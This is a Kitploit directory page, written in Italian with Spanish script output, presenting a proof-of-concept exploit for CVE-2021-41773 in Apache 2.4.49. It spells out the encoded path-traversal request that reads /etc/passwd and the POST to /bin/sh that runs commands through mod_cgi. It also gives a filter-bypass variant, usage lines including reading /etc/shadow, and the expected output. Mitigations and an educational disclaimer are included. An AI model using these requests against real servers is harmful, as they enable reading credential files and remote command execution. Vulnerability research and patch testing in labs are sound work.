Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-41773 — Prova di concetto di CVE-2021-41773 | Kitploit
Strumenti/GitHubGitHub/joapath/cve-2021-41773
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prova di concetto di CVE-2021-41773

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-41773 — PoC: Path Traversal + RCE tramite mod_cgi

Solo per uso in ambienti controllati e propri. Non usare contro sistemi senza autorizzazione.


Descrizione

PoC sviluppata per dimostrare e comprendere la vulnerabilità CVE-2021-41773, presente in Apache HTTP Server 2.4.49.

Il difetto risiede nella funzione ap_normalize_path(), che non validava correttamente i caratteri codificati in URL. Ciò consentiva a un attaccante di uscire dal DocumentRoot tramite una sequenza di caratteri codificati (%2e%2e%2f invece di ../), leggendo file arbitrari dal sistema.

Quando il modulo mod_cgi era abilitato, la vulnerabilità si trasformava in RCE (Remote Code Execution), consentendo di eseguire comandi direttamente sul server con i permessi del processo Apache.


Condizioni necessarie per lo sfruttamento

Il server deve soddisfare tutte queste condizioni per essere vulnerabile:

CondizioneDettaglio
Versione di ApacheEsattamente 2.4.49
Direttiva di accessoRequire all granted nella configurazione
Modulo CGImod_cgi abilitato (solo per RCE)

Come funziona l'attacco

Fase 1 — Path Traversal

Apache 2.4.49 filtrava il classico ../ ma non la sua versione codificata in URL. L'attaccante costruisce un percorso che il filtro non rileva, ma che il sistema operativo interpreta correttamente:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f è la codifica URL di ../. Apache lo lasciava passare, il sistema operativo lo risolveva e il risultato era l'accesso a file fuori dalla directory web.

Fase 2 — RCE tramite mod_cgi

Con mod_cgi attivo, il path traversal viene usato per puntare a /bin/sh invece che a un file. Apache lo tratta come uno script CGI e lo esegue. Il comando viaggia nel body della POST come uno script shell minimo:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

L'output del comando arriva nella risposta HTTP.


Ambiente di test

Il modo più pulito per riprodurre la vulnerabilità è con Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

Oppure con un'immagine manuale di Apache 2.4.49 con la configurazione vulnerabile:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

Lascio i file di configurazione che ho utilizzato per il test.

Decisioni tecniche per l'exploit

  • Perché 'urllib3' e non 'requests'?

    requests ri-codifica automaticamente i caratteri del percorso prima di inviarli. Questo rompe il payload perché il server riceve %252e invece di %2e. urllib3 permette di inviare il percorso senza modifiche.

  • Perché .%2e/ e non %2e%2e/?
    Apache filtra %2e%2e/ nel modulo mod_rewrite. La variante .%2e/ è semanticamente equivalente ma supera il filtro, perché la normalizzazione del percorso avviene dopo la validazione.

Limitazioni

  • Il modulo mod_cgi deve essere abilitato affinché la modalità RCE funzioni. Senza di esso, è possibile solo il path traversal.
  • L'exploit non funziona se Apache è dietro a un WAF che filtra la doppia codifica nel percorso.
  • Testato solo contro Apache 2.4.49 su Linux. La versione 2.4.50 richiede un bypass aggiuntivo (vedi CVE-2021-42013).

Utilizzo dello script

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argomenti

Esempi

Leer /etc/passwd del servidor

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Ejecutar el comando 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Ejecutar un comando con espacios

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Output atteso — modalità traversal

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Output atteso — modalità rce

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigazione

  • Aggiornare Apache alla versione 2.4.51 o superiore.
  • Configurare Require all denied come valore predefinito.
  • Disabilitare mod_cgi se non strettamente necessario.

Riferimenti

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ Questo repository è esclusivamente a scopo educativo.
L'uso di questo exploit contro sistemi senza autorizzazione esplicita è illegale.
Testato esclusivamente in ambienti locali controllati.

PoC sviluppata a scopo educativo per il portfolio di sicurezza offensiva.

Scarica lo strumento
ArgomentoRichiestoDescrizione
--targetSìURL base del server (es: http://localhost:8080)
--modeSìtraversal per leggere file, rce per eseguire comandi
--cmdNoComando da eseguire in modalità rce (default: id)